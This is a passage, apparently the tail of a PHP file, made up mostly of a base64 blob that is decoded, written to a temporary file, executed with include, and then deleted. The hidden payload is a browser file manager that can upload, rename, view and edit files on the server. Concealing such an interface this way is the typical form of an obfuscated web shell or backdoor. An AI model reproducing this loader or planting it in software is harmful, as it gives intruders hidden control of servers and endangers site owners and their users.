Vob2xkZXI9ImV4YW1wbGUudHh0Ij4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdCI+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4iIG9uY2xpY2s9ImNsb3NlTW9kYWwoJ20tdG91Y2gnKSI+Q2FuY2VsPC9idXR0b24+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPkNyZWF0ZTwvYnV0dG9uPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZm9ybT4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8ZGl2IGNsYXNzPSJtb2RhbC1iZyIgaWQ9Im0tcmVuYW1lIj4NCiAgICA8ZGl2IGNsYXNzPSJtb2RhbCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWQiPuKcj++4jyBSZW5hbWU8L2Rpdj4NCiAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InJlbmFtZSI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0IiBpZD0icmVuYW1lLXRhcmdldCI+DQogICAgICAgICAgICAgICAgPGxhYmVsPk5ldyBOYW1lPC9sYWJlbD4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3X25hbWUiIGlkPSJyZW5hbWUtaW5wdXQiIHJlcXVpcmVkIGF1dG9mb2N1cz4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdCI+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4iIG9uY2xpY2s9ImNsb3NlTW9kYWwoJ20tcmVuYW1lJykiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5Ij5SZW5hbWU8L2J1dHRvbj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Zvcm0+DQogICAgPC9kaXY+DQo8L2Rpdj4NCg0KPGRpdiBjbGFzcz0ibW9kYWwtYmciIGlkPSJtLXVwbG9hZCI+DQogICAgPGRpdiBjbGFzcz0ibW9kYWwiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkIj7irIYgVXBsb2FkIEZpbGVzPC9kaXY+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgaWQ9InVwbG9hZC1mb3JtIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InVwbG9hZCI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0IiB2YWx1ZT0iPD89IGh0bWxzcGVjaWFsY2hhcnMoJGN1cnJlbnRfcmVsKSA/PiI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZHJvcHpvbmUiIGlkPSJkcm9wIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaWNvbi1sZyI+8J+TpDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8cD48Yj5DbGljayB0byBicm93c2U8L2I+IG9yIGRyYWcgJmFtcDsgZHJvcCBmaWxlczwvcD4NCiAgICAgICAgICAgICAgICAgICAgPHAgc3R5bGU9ImNvbG9yOnZhcigtLXRleHQtZGltKTsgZm9udC1zaXplOjEycHg7IG1hcmdpbi10b3A6NnB4OyI+V2lsbCBiZSB1cGxvYWRlZCB0bzogPGNvZGUgc3R5bGU9ImNvbG9yOnZhcigtLWFjY2VudCk7Ij48Pz0gaHRtbHNwZWNpYWxjaGFycygkY3VycmVudF9yZWwpID8+PC9jb2RlPjwvcD4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGVzW10iIGlkPSJmaWxlLWlucHV0IiBtdWx0aXBsZT4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWxpc3QiIGlkPSJmaWxlLWxpc3QiPjwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290Ij4NCiAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biIgb25jbGljaz0iY2xvc2VNb2RhbCgnbS11cGxvYWQnKSI+Q2FuY2VsPC9idXR0b24+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPlVwbG9hZDwvYnV0dG9uPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZm9ybT4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8P3BocCBpZiAoJGVkaXRpbmcpOiAkaXNFZGl0ID0gaXNzZXQoJF9HRVRbJ2VkaXQnXSk7ID8+DQo8ZGl2IGNsYXNzPSJtb2RhbC1iZyBvcGVuIiBpZD0ibS1lZGl0b3IiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsIGxnIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZCBlZGl0b3ItaGVhZCI+DQogICAgICAgICAgICA8ZGl2Pg0KICAgICAgICAgICAgICAgIDw/PSAkaXNFZGl0ID8gJ+Kcj++4jyBFZGl0JyA6ICfwn5GBIFZpZXcnID8+OiA8Pz0gaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkZWRpdGluZykpID8+DQogICAgICAgICAgICAgICAgPHNtYWxsIHN0eWxlPSJjb2xvcjp2YXIoLS10ZXh0LWRpbSk7IGZvbnQtd2VpZ2h0OjQwMDsgbWFyZ2luLWxlZnQ6NnB4OyI+PD89IGZtdF9zaXplKGZpbGVzaXplKCRlZGl0aW5nKSkgPz48L3NtYWxsPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8YSBjbGFzcz0iYnRuIGJ0bi1zbSIgaHJlZj0iP3A9PD89IHVybGVuY29kZSgkY3VycmVudF9yZWwpID8+Ij7inJUgQ2xvc2U8L2E+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2F2ZSI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0IiB2YWx1ZT0iPD89IGh0bWxzcGVjaWFsY2hhcnMocmVsX3BhdGgoJGVkaXRpbmcpKSA/PiI+DQogICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9ImNvbnRlbnQiIDw/PSAkaXNFZGl0ID8gJycgOiAncmVhZG9ubHknID8+IHNwZWxsY2hlY2s9ImZhbHNlIj48Pz0gaHRtbHNwZWNpYWxjaGFycygkZWRpdGluZ19jb250ZW50KSA/PjwvdGV4dGFyZWE+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDw/cGhwIGlmICgkaXNFZGl0KTogPz4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWZvb3QiPg0KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJidG4iIGhyZWY9Ij9wPTw/PSB1cmxlbmNvZGUoJGN1cnJlbnRfcmVsKSA/PiI+Q2FuY2VsPC9hPg0KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5Ij7wn5K+IFNhdmU8L2J1dHRvbj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgIDwvZm9ybT4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KPD9waHAgZW5kaWY7ID8+DQoNCjxzY3JpcHQ+DQpmdW5jdGlvbiBvcGVuTW9kYWwoaWQpIHsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLmNsYXNzTGlzdC5hZGQoJ29wZW4nKTsgfQ0KZnVuY3Rpb24gY2xvc2VNb2RhbChpZCkgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuY2xhc3NMaXN0LnJlbW92ZSgnb3BlbicpOyB9DQpmdW5jdGlvbiBvcGVuUmVuYW1lKG5hbWUsIHBhdGgpIHsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVuYW1lLXRhcmdldCcpLnZhbHVlID0gcGF0aDsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVuYW1lLWlucHV0JykudmFsdWUgPSBuYW1lOw0KICAgIG9wZW5Nb2RhbCgnbS1yZW5hbWUnKTsNCiAgICBzZXRUaW1lb3V0KCgpID0+IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW5hbWUtaW5wdXQnKS5mb2N1cygpLCA1MCk7DQp9DQpkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcubW9kYWwtYmcnKS5mb3JFYWNoKG0gPT4gew0KICAgIG0uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBlID0+IHsNCiAgICAgICAgaWYgKGUudGFyZ2V0ID09PSBtICYmIG0uaWQgIT09ICdtLWVkaXRvcicpIG0uY2xhc3NMaXN0LnJlbW92ZSgnb3BlbicpOw0KICAgIH0pOw0KfSk7DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZSA9PiB7DQogICAgaWYgKGUua2V5ID09PSAnRXNjYXBlJykgew0KICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcubW9kYWwtYmcub3BlbicpLmZvckVhY2gobSA9PiB7DQogICAgICAgICAgICBpZiAobS5pZCAhPT0gJ20tZWRpdG9yJykgbS5jbGFzc0xpc3QucmVtb3ZlKCdvcGVuJyk7DQogICAgICAgIH0pOw0KICAgIH0NCn0pOw0KDQpjb25zdCBkcm9wID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Ryb3AnKTsNCmNvbnN0IGZpID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGUtaW5wdXQnKTsNCmNvbnN0IGZsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGUtbGlzdCcpOw0KaWYgKGRyb3ApIHsNCiAgICBkcm9wLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgKCkgPT4gZmkuY2xpY2soKSk7DQogICAgWydkcmFnb3ZlcicsJ2RyYWdlbnRlciddLmZvckVhY2goZXYgPT4gZHJvcC5hZGRFdmVudExpc3RlbmVyKGV2LCBlID0+IHsgZS5wcmV2ZW50RGVmYXVsdCgpOyBkcm9wLmNsYXNzTGlzdC5hZGQoJ292ZXInKTsgfSkpOw0KICAgIFsnZHJhZ2xlYXZlJywnZHJvcCddLmZvckVhY2goZXYgPT4gZHJvcC5hZGRFdmVudExpc3RlbmVyKGV2LCAoKSA9PiBkcm9wLmNsYXNzTGlzdC5yZW1vdmUoJ292ZXInKSkpOw0KICAgIGRyb3AuYWRkRXZlbnRMaXN0ZW5lcignZHJvcCcsIGUgPT4gew0KICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIGZpLmZpbGVzID0gZS5kYXRhVHJhbnNmZXIuZmlsZXM7DQogICAgICAgIHVwZGF0ZUZpbGVzKCk7DQogICAgfSk7DQogICAgZmkuYWRkRXZlbnRMaXN0ZW5lcignY2hhbmdlJywgdXBkYXRlRmlsZXMpOw0KfQ0KZnVuY3Rpb24gdXBkYXRlRmlsZXMoKSB7DQogICAgZmwuaW5uZXJIVE1MID0gJyc7DQogICAgQXJyYXkuZnJvbShmaS5maWxlcykuZm9yRWFjaChmID0+IHsNCiAgICAgICAgY29uc3QgZCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpOw0KICAgICAgICBkLmNsYXNzTmFtZSA9ICdmaWxlLWl0ZW0nOw0KICAgICAgICBkLmlubmVySFRNTCA9IGA8c3Bhbj7wn5OEICR7Zi5uYW1lfTwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6dmFyKC0tdGV4dC1kaW0pIj4keyhmLnNpemUvMTAyNCkudG9GaXhlZCgxKX0gS0I8L3NwYW4+YDsNCiAgICAgICAgZmwuYXBwZW5kQ2hpbGQoZCk7DQogICAgfSk7DQp9DQo8L3NjcmlwdD4NCjwvYm9keT4NCjwvaHRtbD4NCg==')); include $temp; unlink($temp); ?>
Save